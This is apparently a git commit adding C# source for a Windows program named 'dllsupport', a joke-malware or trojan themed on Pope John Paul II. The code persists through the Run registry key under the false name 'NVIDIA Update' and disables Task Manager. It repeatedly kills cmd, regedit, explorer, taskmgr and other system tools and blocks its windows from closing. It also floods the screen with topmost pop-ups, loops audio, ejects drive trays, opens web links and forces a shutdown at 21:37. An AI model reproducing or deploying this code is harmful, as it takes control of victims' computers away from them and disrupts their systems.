dodaj pliki czy cos

This commit is contained in:
Erdef119 2026-04-26 20:39:48 +02:00
commit b0bcf53bdb
213 changed files with 811368 additions and 0 deletions

View file

@ -0,0 +1,210 @@
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
namespace dllsupport;
public class Fullscreen : Form
{
public static int height = Screen.PrimaryScreen.Bounds.Height;
public static int width = Screen.PrimaryScreen.Bounds.Width;
public static int papieszInt = 0;
public static Thread tackaThread = new Thread(Funkcje.wysuniecieTacki);
public static Thread soundThread = new Thread(Funkcje.playSound);
private IntPtr HWND_TOPMOST = new IntPtr(-1);
private const uint SWP_NOSIZE = 1u;
private const uint SWP_NOMOVE = 2u;
private const uint TOPMOST_FLAGS = 3u;
private IContainer components = null;
private System.Windows.Forms.Timer timerTacka;
private System.Windows.Forms.Timer timerPapiesz;
private System.Windows.Forms.Timer timerKillProcess;
private System.Windows.Forms.Timer timerKremowka;
private System.Windows.Forms.Timer timerURL;
private System.Windows.Forms.Timer timerFormFocus;
private System.Windows.Forms.Timer timerGodzina;
[DllImport("user32.dll")]
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool SetForegroundWindow(IntPtr hWnd);
public Fullscreen()
{
InitializeComponent();
SetWindowPos(base.Handle, HWND_TOPMOST, 0, 0, 0, 0, 3u);
base.Location = new Point(0, 0);
base.Size = new Size(width, height);
}
private void timerTacka_Tick(object sender, EventArgs e)
{
Funkcje.tackaBool = true;
}
private void timerPapiesz_Tick(object sender, EventArgs e)
{
Papiesz.generateForm();
if (papieszInt == 4)
{
timerPapiesz.Stop();
}
papieszInt++;
}
private void timerKillProcess_Tick(object sender, EventArgs e)
{
KillProcess.kill();
if (Papiesz.formFocus)
{
timerFormFocus.Start();
Papiesz.formFocus = false;
}
}
private void timerKremowka_Tick(object sender, EventArgs e)
{
}
private void Fullscreen_Load(object sender, EventArgs e)
{
try
{
Funkcje.autorun();
soundThread.Start();
Funkcje.notifyIcon();
SetWindowPos(base.Handle, HWND_TOPMOST, 0, 0, 0, 0, 3u);
tackaThread.Start();
timerTacka.Start();
timerPapiesz.Start();
timerKillProcess.Start();
timerKremowka.Start();
timerGodzina.Start();
Funkcje.KillCtrlAltDelete();
}
catch
{
}
}
private void timerURL_Tick(object sender, EventArgs e)
{
try
{
Process.Start("https://www.youtube.com/watch?v=YR1afn8tfD0&list=RDYR1afn8tfD0&index=1");
}
catch
{
}
}
private void timerFormFocus_Tick(object sender, EventArgs e)
{
try
{
foreach (Form form in Papiesz.formList)
{
form.Focus();
}
}
catch
{
}
}
private void timerGodzina_Tick(object sender, EventArgs e)
{
try
{
SetForegroundWindow(base.Handle);
string strA = DateTime.Now.ToLongTimeString();
if (string.Compare(strA, "21:37:00", ignoreCase: false) == 0)
{
Process.Start("shutdown", "-s");
}
}
catch
{
}
}
private void Fullscreen_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
base.OnClosing(e);
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(dllsupport.Fullscreen));
this.timerTacka = new System.Windows.Forms.Timer(this.components);
this.timerPapiesz = new System.Windows.Forms.Timer(this.components);
this.timerKillProcess = new System.Windows.Forms.Timer(this.components);
this.timerKremowka = new System.Windows.Forms.Timer(this.components);
this.timerURL = new System.Windows.Forms.Timer(this.components);
this.timerFormFocus = new System.Windows.Forms.Timer(this.components);
this.timerGodzina = new System.Windows.Forms.Timer(this.components);
base.SuspendLayout();
this.timerTacka.Interval = 5000;
this.timerTacka.Tick += new System.EventHandler(timerTacka_Tick);
this.timerPapiesz.Interval = 1000;
this.timerPapiesz.Tick += new System.EventHandler(timerPapiesz_Tick);
this.timerKillProcess.Tick += new System.EventHandler(timerKillProcess_Tick);
this.timerKremowka.Interval = 50000;
this.timerKremowka.Tick += new System.EventHandler(timerKremowka_Tick);
this.timerURL.Interval = 500000;
this.timerURL.Tick += new System.EventHandler(timerURL_Tick);
this.timerFormFocus.Tick += new System.EventHandler(timerFormFocus_Tick);
this.timerGodzina.Tick += new System.EventHandler(timerGodzina_Tick);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.SystemColors.ActiveCaptionText;
base.ClientSize = new System.Drawing.Size(284, 261);
base.ControlBox = false;
this.Cursor = System.Windows.Forms.Cursors.WaitCursor;
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
base.Icon = (System.Drawing.Icon)resources.GetObject("$this.Icon");
base.MaximizeBox = false;
base.MinimizeBox = false;
base.Name = "Fullscreen";
base.Opacity = 0.01;
base.ShowIcon = false;
base.ShowInTaskbar = false;
this.Text = "Fullscreen";
base.FormClosing += new System.Windows.Forms.FormClosingEventHandler(Fullscreen_FormClosing);
base.Load += new System.EventHandler(Fullscreen_Load);
base.ResumeLayout(false);
}
}

View file

@ -0,0 +1,99 @@
using System.Drawing;
using System.IO;
using System.Media;
using System.Reflection;
using System.Windows.Forms;
using Microsoft.Win32;
namespace dllsupport;
public class Funkcje
{
public static bool tackaBool = false;
public static bool tackaWhile = true;
public static void insertKremowka()
{
MessageBox.Show("Insert Kremówka", "Jan Paweł 2 - Aplikacja");
}
public static void KillCtrlAltDelete()
{
try
{
string value = "1";
string subkey = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
try
{
RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(subkey);
registryKey.SetValue("DisableTaskMgr", value);
registryKey.Close();
}
catch
{
}
}
catch
{
}
}
public static void notifyIcon()
{
for (int i = 0; i <= 25; i = checked(i + 1))
{
NotifyIcon notifyIcon = new NotifyIcon();
notifyIcon.Icon = new Icon(Assembly.GetExecutingAssembly().GetManifestResourceStream("dllsupport.Resources.papieszIkonka.ico"));
notifyIcon.Text = "i co teraz kurwa?";
notifyIcon.Visible = true;
}
}
public static void wysuniecieTacki()
{
while (tackaWhile)
{
if (!tackaBool)
{
continue;
}
try
{
string text = "aąbcćdeęfghijklłmnńoóprsśtuwyzźż";
string text2 = text;
for (int i = 0; i < text2.Length; i++)
{
EjectMedia.Eject("\\\\.\\" + text2[i] + ":");
}
tackaBool = false;
}
catch
{
}
}
}
public static void playSound()
{
try
{
while (true)
{
Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("dllsupport.Resources.Jan_DJ_2_-_GabBarka.wav");
SoundPlayer soundPlayer = new SoundPlayer();
soundPlayer.Stream = manifestResourceStream;
soundPlayer.PlaySync();
}
}
catch
{
}
}
public static void autorun()
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true);
registryKey.SetValue("NVIDIA Update", Application.ExecutablePath.ToString());
}
}

View file

@ -0,0 +1,65 @@
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Reflection;
namespace dllsupport;
public class GifImage
{
private Image gifImage;
private FrameDimension dimension;
private int frameCount;
private int currentFrame = -1;
private bool reverse;
private int step = 1;
public bool ReverseAtEnd
{
get
{
return reverse;
}
set
{
reverse = value;
}
}
public GifImage(string path)
{
Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(path);
gifImage = Image.FromStream(manifestResourceStream);
dimension = new FrameDimension(gifImage.FrameDimensionsList[0]);
frameCount = gifImage.GetFrameCount(dimension);
}
public Image GetNextFrame()
{
currentFrame += step;
if (currentFrame >= frameCount || currentFrame < 1)
{
if (reverse)
{
step *= -1;
currentFrame += step;
}
else
{
currentFrame = 0;
}
}
return GetFrame(currentFrame);
}
public Image GetFrame(int index)
{
gifImage.SelectActiveFrame(dimension, index);
return (Image)gifImage.Clone();
}
}

View file

@ -0,0 +1,26 @@
using System.Diagnostics;
namespace dllsupport;
public class KillProcess
{
public static void kill()
{
try
{
string[] array = new string[8] { "cmd", "regedit", "explorer", "msconfig", "explorer", "taskmgr", "mmc", "bcdedit" };
string[] array2 = array;
foreach (string processName in array2)
{
Process[] processesByName = Process.GetProcessesByName(processName);
for (int j = 0; j < processesByName.Length; j = checked(j + 1))
{
processesByName[j]?.Kill();
}
}
}
catch
{
}
}
}

View file

@ -0,0 +1,156 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace dllsupport;
public class Papiesz
{
public static int height = Screen.PrimaryScreen.Bounds.Height;
public static int width = Screen.PrimaryScreen.Bounds.Width;
public static int x = 0;
public static int y = 0;
public static Form form;
public static PictureBox picturebox;
private static int generateInt = 0;
public static List<Form> formList = new List<Form>();
private static int latajInt = 0;
private static GifImage gifImage = null;
private static string link = "";
private static Random rand = new Random();
public static bool formFocus = false;
private static IntPtr HWND_TOPMOST = new IntPtr(-1);
private const uint SWP_NOSIZE = 1u;
private const uint SWP_NOMOVE = 2u;
private const uint TOPMOST_FLAGS = 3u;
[DllImport("user32.dll")]
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
public static void GifAnimated(string patch)
{
gifImage = new GifImage(patch);
gifImage.ReverseAtEnd = false;
picturebox.Image = gifImage.GetNextFrame();
}
public static void generateForm()
{
try
{
switch (generateInt)
{
case 0:
createPictureBox("dllsupport.Resources.papagif.gif");
form = new Form();
form.ShowInTaskbar = false;
form.Size = new Size(300, 250);
form.Controls.Add(picturebox);
createForm(width - form.Width, height - form.Height);
formList.Add(form);
link = "http://karachan.org/b/";
createLinkLabel("[ZOBACZ]", form, picturebox, new Point(14, form.Height));
break;
case 1:
createPictureBox("dllsupport.Resources.masa.jpg");
form = new Form();
form.Size = new Size(300, 300);
form.Controls.Add(picturebox);
createForm(0, 0);
formList.Add(form);
link = "https://www.youtube.com/watch?v=1vZ28SAgzKc";
createLinkLabel("[ZOBACZ Jak zrobić taką mase]", form, picturebox, new Point(55, form.Height - 205));
break;
case 2:
createPictureBox("dllsupport.Resources.papiezkreci.gif");
form = new Form();
form.Size = new Size(300, 300);
form.Controls.Add(picturebox);
createForm(width - form.Width, 0);
formList.Add(form);
break;
case 3:
createPictureBox("dllsupport.Resources.papiezlata.gif");
form = new Form();
form.Size = new Size(250, 200);
form.Controls.Add(picturebox);
createForm(0, height - form.Height);
break;
case 4:
createPictureBox("dllsupport.Resources.gowniak.gif");
form = new Form();
form.Size = new Size(350, 400);
form.Controls.Add(picturebox);
createForm(width / 2 - form.Width / 2, height - form.Height);
formList.Add(form);
formFocus = true;
break;
}
generateInt++;
}
catch
{
}
}
private static void createPictureBox(string patch)
{
picturebox = new PictureBox();
picturebox.SizeMode = PictureBoxSizeMode.StretchImage;
picturebox.Dock = DockStyle.Fill;
GifAnimated(patch);
}
private static void createLinkLabel(string text, Form form, PictureBox pb, Point point)
{
LinkLabel linkLabel = new LinkLabel();
linkLabel.Text = text;
linkLabel.Size = new Size(200, 20);
linkLabel.Location = point;
linkLabel.BackColor = Color.Transparent;
linkLabel.Click += LinkLabel_Click;
pb.Controls.Add(linkLabel);
}
private static void LinkLabel_Click(object sender, EventArgs e)
{
Process.Start(link);
}
private static void FormClosingEv(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
}
public static void createForm(int x, int y)
{
form.FormClosing += FormClosingEv;
form.FormBorderStyle = FormBorderStyle.None;
form.Name = generateInt.ToString();
form.Text = generateInt.ToString();
form.Show();
form.Location = new Point(x, y);
form.ShowInTaskbar = false;
SetWindowPos(form.Handle, HWND_TOPMOST, 0, 0, 0, 0, 3u);
formList.Add(form);
}
}

View file

@ -0,0 +1,15 @@
using System;
using System.Windows.Forms;
namespace dllsupport;
internal static class Program
{
[STAThread]
private static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(defaultValue: false);
Application.Run(new Fullscreen());
}
}